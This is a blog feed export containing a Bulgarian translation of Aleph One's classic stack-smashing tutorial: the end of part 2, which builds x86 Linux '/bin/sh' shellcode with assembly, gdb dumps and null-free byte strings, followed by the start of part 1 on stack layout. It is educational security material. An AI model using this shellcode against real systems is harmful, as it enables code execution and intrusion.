&lt;_exit&gt;:      pushl  %ebp&lt;br /&gt;0x800034d &lt;_exit+1&gt;:    movl   %esp,%ebp&lt;br /&gt;0x800034f &lt;_exit+3&gt;:    pushl  %ebx&lt;br /&gt;0x8000350 &lt;_exit+4&gt;:    movl   $0x1,%eax&lt;br /&gt;0x8000355 &lt;_exit+9&gt;:    movl   0x8(%ebp),%ebx&lt;br /&gt;0x8000358 &lt;_exit+12&gt;:   int    $0x80&lt;br /&gt;0x800035a &lt;_exit+14&gt;:   movl   0xfffffffc(%ebp),%ebx&lt;br /&gt;0x800035d &lt;_exit+17&gt;:   movl   %ebp,%esp&lt;br /&gt;0x800035f &lt;_exit+19&gt;:   popl   %ebp&lt;br /&gt;0x8000360 &lt;_exit+20&gt;:   ret&lt;br /&gt;0x8000361 &lt;_exit+21&gt;:   nop&lt;br /&gt;0x8000362 &lt;_exit+22&gt;:   nop&lt;br /&gt;0x8000363 &lt;_exit+23&gt;:   nop&lt;br /&gt;End of assembler dump.&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;   Та значи всъщност системната функция `exit` прави следното: копира 0x1&lt;br /&gt;в EAX, копира изходния код в EBX и извиква прекъсване $0x80. Това е всичко.&lt;br /&gt;Повечете програми връщат 0 при изхода си за да покажат, че не са възникнали&lt;br /&gt;грешки по време на тяхното изпълнение. Сега написаните горе стъпките се&lt;br /&gt;увеличават с три броя:&lt;br /&gt;&lt;br /&gt;     - стрингът &quot;/bin/sh&quot; някъде в паметта (разбира се завършен с NULL)&lt;br /&gt;     - адресът на стринга &quot;/bin/sh&quot;&lt;br /&gt;     - копираме 0xb в EAX&lt;br /&gt;     - копираме адресът на адреса на стринга в EBX&lt;br /&gt;     - копираме адресът на стринга в ECX&lt;br /&gt;     - копираме адреса на NULL в EDX&lt;br /&gt;     - извикваме прекъсване $0x80&lt;br /&gt;     - копираме 0x1 в EAX&lt;br /&gt;     - копираме 0x0 в EBX&lt;br /&gt;     - извикваме прекъсване $0x80&lt;br /&gt;&lt;br /&gt;Нека се опитаме да представим горните стъпки написани на асемблер&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;        movl   string_addr,string_addr_addr&lt;br /&gt; movb   $0x0,null_byte_addr&lt;br /&gt;        movl   $0x0,null_addr&lt;br /&gt;        movl   $0xb,%eax&lt;br /&gt;        movl   string_addr,%ebx&lt;br /&gt;        leal   string_addr,%ecx&lt;br /&gt;        leal   null_string,%edx&lt;br /&gt;        int    $0x80&lt;br /&gt;        movl   $0x1, %eax&lt;br /&gt;        movl   $0x0, %ebx&lt;br /&gt; int    $0x80&lt;br /&gt;        /bin/sh string goes here.&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;   Сега възникна обаче нов проблем...не знаем къде в паметта е кода, кой-&lt;br /&gt;то искаме да експлойтнем (и съответно стринга &quot;/bin/sh&quot;, който е непосре-&lt;br /&gt;дствено след него). Единият вариант е да използуваме инструкциите JMP и&lt;br /&gt;CALL. Тези две инструкции могат да използуват относително адресиране спря-&lt;br /&gt;мо IP (*Instruction Pointer - вж. част 1*), което означава, че можеме да&lt;br /&gt;се прехвърлиме на дадено отместване от текущото IP без да знаем точния му&lt;br /&gt;адрес в паметта. Ако сложим инструкция `call` точно преди стринга &quot;/bin/sh&quot;&lt;br /&gt;и инструкция JMP след нея, адресът на стринга ще бъде поставен в стека като&lt;br /&gt;връщан адрес когато се изпълни `call`. Всичко, което после трябва да на-&lt;br /&gt;правим е да копираме този адрес в регистър. Инструкцията CALL може просто&lt;br /&gt;да извиква началото на кода, който направихме отгоре. Сега нека предполо-&lt;br /&gt;жим, че с J заместваме инструкцията JMP, с C -инструкцията CALL, а с s&lt;br /&gt;стринга. Сега стека ще изглежда така:&lt;br /&gt;&lt;br /&gt;нисък ад-  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     висок адрес&lt;br /&gt;рес        89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF      на паметта&lt;br /&gt;           buffer                sfp   ret   a     b     c&lt;br /&gt;&lt;br /&gt;&lt;------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]&lt;br /&gt;           ^|^             ^|            |&lt;br /&gt;           |||_____________||____________| (1)&lt;br /&gt;       (2)  ||_____________||&lt;br /&gt;             |______________| (3)&lt;br /&gt;връх на                                                              дъно на&lt;br /&gt;стека                                                                  стека&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   С тези промени, използувайки относителни адреси и записвайки по колко бай-&lt;br /&gt;та в паметта отнема всяка инструкция, нашия код би изглеждал така:&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;        jmp    отместване от call       # 2 байта&lt;br /&gt;        popl   %esi                     # 1 байт&lt;br /&gt;        movl   %esi,array-offset(%esi)  # 3 байта&lt;br /&gt;        movb   $0x0,nullbyteoffset(%esi)# 4 байта&lt;br /&gt;        movl   $0x0,null-offset(%esi)   # 7 байта&lt;br /&gt;        movl   $0xb,%eax                # 5 байта&lt;br /&gt;        movl   %esi,%ebx                # 2 байта&lt;br /&gt;        leal   array-offset,(%esi),%ecx # 3 байта&lt;br /&gt;        leal   null-offset(%esi),%edx   # 3 байта&lt;br /&gt;        int    $0x80                    # 2 байта&lt;br /&gt;        movl   $0x1, %eax  # 5 байта&lt;br /&gt;        movl   $0x0, %ebx  # 5 байта&lt;br /&gt; int    $0x80   # 2 байта&lt;br /&gt;        call   offset-to-popl           # 5 байта&lt;br /&gt;        /bin/sh - стрингът.&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;   След като изчислим отместванията от jmp до call, от call до popl, от&lt;br /&gt;адреса на стринга до адреса на масива и от адреса на стринга до NULL, полу-&lt;br /&gt;чаваме следния код:&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;        jmp    0x26                     # 2 байта&lt;br /&gt;        popl   %esi                     # 1 байт&lt;br /&gt;        movl   %esi,0x8(%esi)           # 3 байта&lt;br /&gt;        movb   $0x0,0x7(%esi)  # 4 байта&lt;br /&gt;        movl   $0x0,0xc(%esi)           # 7 байта&lt;br /&gt;        movl   $0xb,%eax                # 5 байта&lt;br /&gt;        movl   %esi,%ebx                # 2 байта&lt;br /&gt;        leal   0x8(%esi),%ecx           # 3 байта&lt;br /&gt;        leal   0xc(%esi),%edx           # 3 байта&lt;br /&gt;        int    $0x80                    # 2 байта&lt;br /&gt;        movl   $0x1, %eax  # 5 байта&lt;br /&gt;        movl   $0x0, %ebx  # 5 байта&lt;br /&gt; int    $0x80   # 2 байта&lt;br /&gt;        call   -0x2b                    # 5 байта&lt;br /&gt;        .string \&quot;/bin/sh\&quot;  # 8 байта&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;   За да сме сигурни, че работи добре просто трябва да компилираме и старти-&lt;br /&gt;раме програмата. Но има един проблем. Кодът описан в част 1 се модифицираше&lt;br /&gt;самичък, но повечето операционни системи маркират адреса в паметта, където е&lt;br /&gt;изпълнимия в момента код като read-only т.е. в него не можем да записваме ни-&lt;br /&gt;що. За да преминем това ограничение, трябва да поставим искания код в стека или&lt;br /&gt;в сегмент определен за данни (*вж. началото на част 1*) и след това да преда-&lt;br /&gt;дем изпълнението към него. За тази цел ще поставим нашия код в масив от данни&lt;br /&gt;и ще го запишем в сегмента за данни. Първо се нуждаем от шестайсетично пред-&lt;br /&gt;ставяне на всеки байт от този shell код. Използуваме `gdb`, за да го получим:&lt;br /&gt;&lt;br /&gt;(* След като се зареди даден код в `gdb`, hex кодът на даден адрес в паметта&lt;br /&gt;може да се получи посредством:&lt;br /&gt;x/bx ADDRESS/OFFSET&lt;br /&gt;Именно това е направено отдоклу. Най-накрая в примера е направена програма&lt;br /&gt;testsc.c, която отваря shell посредством този shellcode*)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;shellcodeasm.c&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;void main() {&lt;br /&gt;__asm__(&quot;&lt;br /&gt;        jmp    0x2a                     # 3 bytes&lt;br /&gt;        popl   %esi                     # 1 byte&lt;br /&gt;        movl   %esi,0x8(%esi)           # 3 bytes&lt;br /&gt;        movb   $0x0,0x7(%esi)           # 4 bytes&lt;br /&gt;        movl   $0x0,0xc(%esi)           # 7 bytes&lt;br /&gt;        movl   $0xb,%eax                # 5 bytes&lt;br /&gt;        movl   %esi,%ebx                # 2 bytes&lt;br /&gt;        leal   0x8(%esi),%ecx           # 3 bytes&lt;br /&gt;        leal   0xc(%esi),%edx           # 3 bytes&lt;br /&gt;        int    $0x80                    # 2 bytes&lt;br /&gt;        movl   $0x1, %eax               # 5 bytes&lt;br /&gt;        movl   $0x0, %ebx               # 5 bytes&lt;br /&gt;        int    $0x80                    # 2 bytes&lt;br /&gt;        call   -0x2f                    # 5 bytes&lt;br /&gt;        .string \&quot;/bin/sh\&quot;             # 8 bytes&lt;br /&gt;&quot;);&lt;br /&gt;}&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c&lt;br /&gt;$ gdb shellcodeasm&lt;br /&gt;GDB is free software and you are welcome to distribute copies of it&lt;br /&gt; under certain conditions; type &quot;show copying&quot; to see the conditions.&lt;br /&gt;There is absolutely no warranty for GDB; type &quot;show warranty&quot; for details.&lt;br /&gt;GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...&lt;br /&gt;(gdb) disassemble main&lt;br /&gt;Dump of assembler code for function main:&lt;br /&gt;0x8000130 &lt;main&gt;:       pushl  %ebp&lt;br /&gt;0x8000131 &lt;main+1&gt;:     movl   %esp,%ebp&lt;br /&gt;0x8000133 &lt;main+3&gt;:     jmp    0x800015f &lt;main+47&gt;&lt;br /&gt;0x8000135 &lt;main+5&gt;:     popl   %esi&lt;br /&gt;0x8000136 &lt;main+6&gt;:     movl   %esi,0x8(%esi)&lt;br /&gt;0x8000139 &lt;main+9&gt;:     movb   $0x0,0x7(%esi)&lt;br /&gt;0x800013d &lt;main+13&gt;:    movl   $0x0,0xc(%esi)&lt;br /&gt;0x8000144 &lt;main+20&gt;:    movl   $0xb,%eax&lt;br /&gt;0x8000149 &lt;main+25&gt;:    movl   %esi,%ebx&lt;br /&gt;0x800014b &lt;main+27&gt;:    leal   0x8(%esi),%ecx&lt;br /&gt;0x800014e &lt;main+30&gt;:    leal   0xc(%esi),%edx&lt;br /&gt;0x8000151 &lt;main+33&gt;:    int    $0x80&lt;br /&gt;0x8000153 &lt;main+35&gt;:    movl   $0x1,%eax&lt;br /&gt;0x8000158 &lt;main+40&gt;:    movl   $0x0,%ebx&lt;br /&gt;0x800015d &lt;main+45&gt;:    int    $0x80&lt;br /&gt;0x800015f &lt;main+47&gt;:    call   0x8000135 &lt;main+5&gt;&lt;br /&gt;0x8000164 &lt;main+52&gt;:    das&lt;br /&gt;0x8000165 &lt;main+53&gt;:    boundl 0x6e(%ecx),%ebp&lt;br /&gt;0x8000168 &lt;main+56&gt;:    das&lt;br /&gt;0x8000169 &lt;main+57&gt;:    jae    0x80001d3 &lt;__new_exitfn+55&gt;&lt;br /&gt;0x800016b &lt;main+59&gt;:    addb   %cl,0x55c35dec(%ecx)&lt;br /&gt;End of assembler dump.&lt;br /&gt;(gdb) x/bx main+3&lt;br /&gt;0x8000133 &lt;main+3&gt;:     0xeb&lt;br /&gt;(gdb)&lt;br /&gt;0x8000134 &lt;main+4&gt;:     0x2a&lt;br /&gt;(gdb)&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;testsc.c&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;char shellcode[] =&lt;br /&gt; &quot;\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00&quot;&lt;br /&gt; &quot;\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80&quot;&lt;br /&gt; &quot;\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff&quot;&lt;br /&gt; &quot;\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3&quot;;&lt;br /&gt;&lt;br /&gt;void main() {&lt;br /&gt;   int *ret;&lt;br /&gt;&lt;br /&gt;   ret = (int *)&amp;ret + 2;&lt;br /&gt;   (*ret) = (int)shellcode;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;$ gcc -o testsc testsc.c&lt;br /&gt;$ ./testsc&lt;br /&gt;$ exit&lt;br /&gt;$&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;   Еврика...най-накрая получихме нашия shell code...но не съвсем. Остана само&lt;br /&gt;един малък проблем. В повечето случаи ще се опитваме да препълним символен бу-&lt;br /&gt;фер, така че всякакви байтове със стойност 0x0 ще бъдат приети като край на&lt;br /&gt;стринга и копирането му в буфера ще бъде прекратено. Следователни не трябва да&lt;br /&gt;има стойности 0x0 никъде в нашия shell код. Нека се опитаме да премахнем всич-&lt;br /&gt;ки 0x0:&lt;br /&gt;&lt;br /&gt;           Проблемна инструкция:                     Замяна с:&lt;br /&gt;           --------------------------------------------------------&lt;br /&gt;           movb   $0x0,0x7(%esi)                xorl   %eax,%eax&lt;br /&gt;    molv   $0x0,0xc(%esi)                movb   %eax,0x7(%esi)&lt;br /&gt;                                                movl   %eax,0xc(%esi)&lt;br /&gt;           --------------------------------------------------------&lt;br /&gt;           movl   $0xb,%eax                     movb   $0xb,%al&lt;br /&gt;           --------------------------------------------------------&lt;br /&gt;           movl   $0x1, %eax                    xorl   %ebx,%ebx&lt;br /&gt;           movl   $0x0, %ebx                    movl   %ebx,%eax&lt;br /&gt;                                                inc    %eax&lt;br /&gt;           --------------------------------------------------------&lt;br /&gt;&lt;br /&gt;   И ето вече нашия последен подобрен код:&lt;br /&gt;&lt;br /&gt;shellcodeasm2.c&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;void main() {&lt;br /&gt;__asm__(&quot;&lt;br /&gt;        jmp    0x1f                     # 2 bytes&lt;br /&gt;        popl   %esi                     # 1 byte&lt;br /&gt;        movl   %esi,0x8(%esi)           # 3 bytes&lt;br /&gt;        xorl   %eax,%eax                # 2 bytes&lt;br /&gt; movb   %eax,0x7(%esi)  # 3 bytes&lt;br /&gt;        movl   %eax,0xc(%esi)           # 3 bytes&lt;br /&gt;        movb   $0xb,%al                 # 2 bytes&lt;br /&gt;        movl   %esi,%ebx                # 2 bytes&lt;br /&gt;        leal   0x8(%esi),%ecx           # 3 bytes&lt;br /&gt;        leal   0xc(%esi),%edx           # 3 bytes&lt;br /&gt;        int    $0x80                    # 2 bytes&lt;br /&gt;        xorl   %ebx,%ebx                # 2 bytes&lt;br /&gt;        movl   %ebx,%eax                # 2 bytes&lt;br /&gt;        inc    %eax                     # 1 bytes&lt;br /&gt;        int    $0x80                    # 2 bytes&lt;br /&gt;        call   -0x24                    # 5 bytes&lt;br /&gt;        .string \&quot;/bin/sh\&quot;             # 8 bytes&lt;br /&gt;     # 46 bytes total&lt;br /&gt;&quot;);&lt;br /&gt;}&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;И накрая да тестваме програмата:&lt;br /&gt;&lt;br /&gt;testsc2.c&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;char shellcode[] =&lt;br /&gt; &quot;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b&quot;&lt;br /&gt; &quot;\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&quot;&lt;br /&gt; &quot;\x80\xe8\xdc\xff\xff\xff/bin/sh&quot;;&lt;br /&gt;&lt;br /&gt;void main() {&lt;br /&gt;   int *ret;&lt;br /&gt;&lt;br /&gt;   ret = (int *)&amp;ret + 2;&lt;br /&gt;   (*ret) = (int)shellcode;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;$ gcc -o testsc2 testsc2.c&lt;br /&gt;$ ./testsc2&lt;br /&gt;$ exit&lt;br /&gt;$&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;-------------------------------------- Край на част 2 ---------------------------------</content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/8676525950375269728/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/8676525950375269728' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/8676525950375269728'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/8676525950375269728'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/bugtraq-r00t-underground_28.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-951697583365404647</id><published>2008-02-28T07:13:00.005-08:00</published><updated>2008-02-28T07:13:57.023-08:00</updated><title type='text'></title><content type='html'>BugTraq, r00t, и Underground.Org&lt;br /&gt;                                ви представят:&lt;br /&gt;&lt;br /&gt;                     XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&lt;br /&gt;                     Smashing The Stack For Fun And Profit&lt;br /&gt;                     XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&lt;br /&gt;&lt;br /&gt;                                 от Aleph One&lt;br /&gt;                             aleph1@underground.org&lt;br /&gt;&lt;br /&gt;                               (Българска Версия)&lt;br /&gt;                             (преведено от |Razor|)&lt;br /&gt;          Заб. Текста ограден в (* ... *) е пояснение вмъкнато от мен&lt;br /&gt;&lt;br /&gt;                                   / Част 1 \&lt;br /&gt;&lt;br /&gt;        `разбиване на стека` - [определение от програмирането на C]&lt;br /&gt;            В много дистрибуции на C  е възможно да се промени съдържа-&lt;br /&gt;    нието на стека чрез записване на повече от отделената в него&lt;br /&gt;    информация. Кода, който прави това може да промени хода на из-&lt;br /&gt;    пълнение на програмата като е пренасочи към случаен адрес.&lt;br /&gt;    Това може да причини един от най-опасните бъгове в системите... &lt;br /&gt;     препълване на буфера&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                                  Въведение&lt;br /&gt;                                 -----------&lt;br /&gt;&lt;br /&gt;   На последно време се наблюдава голямо нарастване на уязвимостите в системите&lt;br /&gt;получени от препълвания на буфера. Примери са следните апликации(програми):&lt;br /&gt;syslog, splitvt, sendmail, Linux/FreeBSD mount и други. Този документ обяснява&lt;br /&gt;принципа на действие на препълванията и съответно работата на експлоитите към тях&lt;br /&gt;&lt;br /&gt;   За документа са необходими начални знания в асемблер и C. Познаването на стру-&lt;br /&gt;ктурата на RAM паметта в компютъра и работата с `gdb` (*debug програма за Linux*)&lt;br /&gt;са също полезни. И разбира се трябва да имате Intel x86 процесор с операционна &lt;br /&gt;система Linux.&lt;br /&gt;&lt;br /&gt;   В началото малко основна терминология:&lt;br /&gt; Буфера е съвкупност от поредни клетки в паметта на компютъра, които съдържат&lt;br /&gt;данни от един и същи тип (*в нашия случая използуваме char*). Статичните промен-&lt;br /&gt;ливи се заделят по време на зареждането на програмата,а динамичните се заделят в&lt;br /&gt;стека по време на изпълнението.&lt;br /&gt; Препълването е да запишем повече информация в стека отколкото е отделено от про-&lt;br /&gt;менливата&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                           Организация на паметта&lt;br /&gt;                          ------------------------&lt;br /&gt;&lt;br /&gt; За да разберете какво са стек буферуте първо трябва да се запознаем как процесите&lt;br /&gt;са организирани в паметта. Те са разделени на три региона: текст, данни и стек. Ще&lt;br /&gt;се концентрираме на стек-региона, но първо ще разгледаме бегло другите два.&lt;br /&gt;&lt;br /&gt; Текстовият регион е фиксиран от програмата и включва инструкции(кодове) и данни,&lt;br /&gt;които единствено могат да бъдат четени(при опит за запис възниква грешка).&lt;br /&gt;&lt;br /&gt; Регионна с данни съдържа инициализирани и не-инициализирани данни. Статичните про-&lt;br /&gt;менливи са заделени в тази област&lt;br /&gt;&lt;br /&gt;                             /------------------\  памет с&lt;br /&gt;                             |                  |  по-нисък&lt;br /&gt;                             |      Текст       |  адрес&lt;br /&gt;                             |                  |&lt;br /&gt;                             |------------------|&lt;br /&gt;                             | (Инициализирани) |&lt;br /&gt;                             |       Данни      |&lt;br /&gt;                             |(Неинизиализирани)|&lt;br /&gt;                             |------------------|&lt;br /&gt;                             |                  |&lt;br /&gt;                             |       Стек       |  памет с&lt;br /&gt;                             |                  |  по-висок&lt;br /&gt;                             \------------------/  адрес&lt;br /&gt;&lt;br /&gt;                         Фиг. 1 Региони в паметта&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                                  Какво е стек&lt;br /&gt;                                 --------------&lt;br /&gt;&lt;br /&gt;  Стека е част от паметта където могат да бъдат временно съхранявани различ-&lt;br /&gt;ни типове данни. &lt;br /&gt;(* Стека е организиран със структура LIFO (Last In First Out). Това означава, че&lt;br /&gt;елементът вкаран последен, излиза първи:&lt;br /&gt;&lt;br /&gt;|X| връх  \&lt;br /&gt;|O|        - стек&lt;br /&gt;|O|       /&lt;br /&gt;|_| дъно /&lt;br /&gt;&lt;br /&gt;Така ако последователно сме поставяли &quot;O&quot;,&quot;O&quot; и &quot;X&quot; редът на изваждането им ще е&lt;br /&gt;&quot;X&quot;,&quot;O&quot;,&quot;O&quot;  *)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  За работа със стека се използуват предимно два оператора:&lt;br /&gt;PUSH - слага елемент на върха на стека&lt;br /&gt;POP - извлича елемента, който е на върха и променя големината на стека с 1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                             Защо използуваме стек?&lt;br /&gt;                            ------------------------&lt;br /&gt;&lt;br /&gt;   Сегашните компютърни езици използуват под-програми (функции), които поз-&lt;br /&gt;воляват едно и също действие да се изпълнява много пъти само чрез извикване-&lt;br /&gt;то на името на функцията (без кода да се пренаписва отново). Функцията се из-&lt;br /&gt;пълнява чрез пренасочване на програмата към адреса, на който е записана. Това&lt;br /&gt;на пръв поглед наподобява нормален безусловен (* инструкциа jmp*) преход, но &lt;br /&gt;за разлика от него след приключване на функцията, програмата продължава изпъл-&lt;br /&gt;нението си след мястото, от което е била пренасочена (* инструкция ret*).&lt;br /&gt;   Именно тука взема участие стека. В него се записват параметрите, които тря-&lt;br /&gt;бва да получи функцията. (*Тези параметри се записват на стека в обратен ред,&lt;br /&gt;за да може функцията да ги &quot;вземе&quot; в правилен (понеже както казахме стека има &lt;br /&gt;LIFO структура) *)&lt;br /&gt;&lt;br /&gt;                               Региона на стека&lt;br /&gt;                              ------------------&lt;br /&gt;&lt;br /&gt;   Стека представлява поредни клетки от паметта съдържащи различни данни. Регис-&lt;br /&gt;търът SP (stack pointer) винаги съдържа адреса на върха на стека. Дъното има фик-&lt;br /&gt;сиран адрес. Големината на стека се променя непрекъснато от kernel-а по време на&lt;br /&gt;изпълнението на програмата.&lt;br /&gt;&lt;br /&gt;   След извикване на функция, параметрите записани в стека играят ролята на ло-&lt;br /&gt;кални променливи в самата функция. Освен данните за лоакалните променливи, в &lt;br /&gt;него е записана и информация, за възстановяване на предишния адрес на програмата&lt;br /&gt;(на който трябва да се прехвърли след като изпълнението на подпрограмата при-&lt;br /&gt;ключи). Регистъра който сочи адреса към следващата инструкция, която програмата&lt;br /&gt;трябва да изпълни се нарича IP (instruction pointer)&lt;br /&gt;&lt;br /&gt;   В зависмост от ОС-а стека може да нараства към по-висок или към по-нисък ад-&lt;br /&gt;рес на паметта. В този документ ще използуваме стек, който се разширява към нис-&lt;br /&gt;ки адреси. По този начин действат повечето компютри като Interl, Motorolla, SPARC.&lt;br /&gt;   Указателя към стека (SP) също се различава в отделните дистрибуции. Той може да&lt;br /&gt;сочи към последния адрес на стека или към адреса, след последната свободна клетка&lt;br /&gt;&lt;br /&gt;(*&lt;br /&gt;Вариант 1         Вариант 2&lt;br /&gt;                      &lt;- SP          - по-нисък адрес&lt;br /&gt;|X| &lt;- SP         |X|&lt;br /&gt;|X|               |X|&lt;br /&gt;|X|               |X|&lt;br /&gt;|_|               |_|                - по-висок адрес&lt;br /&gt;*)&lt;br /&gt;&lt;br /&gt;   Освен регистъра SP, който сочи върха на стека (по-ниският адрес) често се из-&lt;br /&gt;ползува и указател към клетка (FP - Frame Pointer), който съдържа фиксирана по-&lt;br /&gt;зиция в дадена клетка. Някои текстове също се посочват от локален базов указа-&lt;br /&gt;тел (LB - local base pointer). По принцип локалните променливи могат да бъдат&lt;br /&gt;посочени като се знае отместването им в стека спрямо регистъра SP, но понеже&lt;br /&gt;броят на данните в стека непрекъснато се сменя, това може да стане и спрямо BP &lt;br /&gt;(base pointer). Много компилатори използуват втори регистър, FP, като указател&lt;br /&gt;към локалните променливи и параметрите, понеже те не се отместват спрямо адреса&lt;br /&gt;от този регистър при използуването на POP или PUSH.&lt;br /&gt;&lt;br /&gt;   Първото нещо, което трябва да направи една функция(процедура), когато бъде из-&lt;br /&gt;викана е да запомни текущия FP, за да може изпълнението на програмата да се вър-&lt;br /&gt;не след приключване на процедурата. Тогава тя записва съдържанието на SP върху&lt;br /&gt;FP, за да създаде нов FP,  и разширява SP, за да може в стека да бъде отделено&lt;br /&gt;място за локалните променливи. Тази част от кода се нарича &quot;процедурен пролог&quot;.&lt;br /&gt;След приключването работата на процедурата, стека се изчиства в старото му със-&lt;br /&gt;тояние. Тази част се нарича &quot;процедурен епилог&quot;.&lt;br /&gt;&lt;br /&gt;   Нека видим какво представлява стека в проста C програма&lt;br /&gt;&lt;br /&gt;primer1.c:&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;void function(int a, int b, int c) {&lt;br /&gt;   char buffer1[5];&lt;br /&gt;   char buffer2[10];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void main() {&lt;br /&gt;  function(1,2,3);&lt;br /&gt;}&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;   За да разберем какво точно прави програмата, за да извика function() е ком-&lt;br /&gt;пилираме с `gcc` използвайки параметър -S, който изисква генерирането на асем-&lt;br /&gt;блиран код.&lt;br /&gt;&lt;br /&gt;$ gcc -S -o primer1.s primer1.c&lt;br /&gt;$ pico primer1.s&lt;br /&gt;&lt;br /&gt;   Поглеждайки в кода на асемблер виждаме че извикването на function() е пред-&lt;br /&gt;ставено със следните редове:&lt;br /&gt;&lt;br /&gt;        pushl $3&lt;br /&gt;        pushl $2&lt;br /&gt;        pushl $1&lt;br /&gt;        call function&lt;br /&gt;&lt;br /&gt;   Функцията приема 3 аргумента (* както споменах те се слагат в стека в обра-&lt;br /&gt;тен ред*). Инструкцията `call` слага указателя IP (instruction pointer) върху&lt;br /&gt;стека. Ще наричаме запомният IP `връщан адрес` (RET). Първото нещо което се&lt;br /&gt;прави от функцията е процедурният пролог:&lt;br /&gt;&lt;br /&gt;        pushl %ebp&lt;br /&gt;        movl %esp,%ebp&lt;br /&gt;        subl $20,%esp&lt;br /&gt;&lt;br /&gt;   Нека разгледаме този код. Първо EBP, (frame pointer), се слага на върха на&lt;br /&gt;стека. Тогава се копира съдържанието на SP върху EBP, правейки го нов FP указа-&lt;br /&gt;тел. Ще наричаме запаметеният FP указател SFP. Най-накрая се създава място за &lt;br /&gt;локалните променливи (buffer1 и buffer2) като тяхната големина се изважда от SP.&lt;br /&gt;&lt;br /&gt;   Трябва да се помни че паметта може да бъде адресирана на части с големина не&lt;br /&gt;по-малки от една `дума` (word). `Думата` в случая е 4 байта или 32 бита. Така че&lt;br /&gt;нашият 5-байтов buffer1 ще заеме 8 байта в паметта(2 думи), а 10-байтовият&lt;br /&gt;buffer2 ще заеме 12 байта (2 думи). Именно затова от SP се изважда 20.&lt;br /&gt;Имайки това предвид нашият стек ще изглежда по следният начин:&lt;br /&gt;(*Цифрата в клетката показва големината й в байтове*)&lt;br /&gt;&lt;br /&gt;нисък адрес на                                                      висок адрес на&lt;br /&gt;паметта                                                             паметта&lt;br /&gt;          buffer2       buffer1   sfp   ret   a     b     c&lt;br /&gt;&lt;-----   [     12     ][   8    ][ 4  ][ 4  ][ 4  ][ 4  ][ 4  ]&lt;br /&gt;   &lt;br /&gt;връх на                                                             дъно на&lt;br /&gt;стека                                &lt;---                           стека&lt;br /&gt;&lt;br /&gt;(* Показано по-нагледно:&lt;br /&gt;BP - base pointer - базово отместване&lt;br /&gt;&lt;br /&gt;      |            |&lt;br /&gt;BP+16 | 3 аргумент |    стек - връх&lt;br /&gt;BP+12 | 2 аргумент |&lt;br /&gt;BP+8  | 1 аргумент |&lt;br /&gt;BP+4  |връщан адрес|&lt;br /&gt;BP    |съхранено BP|&lt;br /&gt;BP-8  |  buffer1   |&lt;br /&gt;BP-12 |  buffer2   |    стек - дъно&lt;br /&gt;       ------------&lt;br /&gt;*)&lt;br /&gt;&lt;br /&gt;                               Препълвания на буфера&lt;br /&gt;                              -----------------------&lt;br 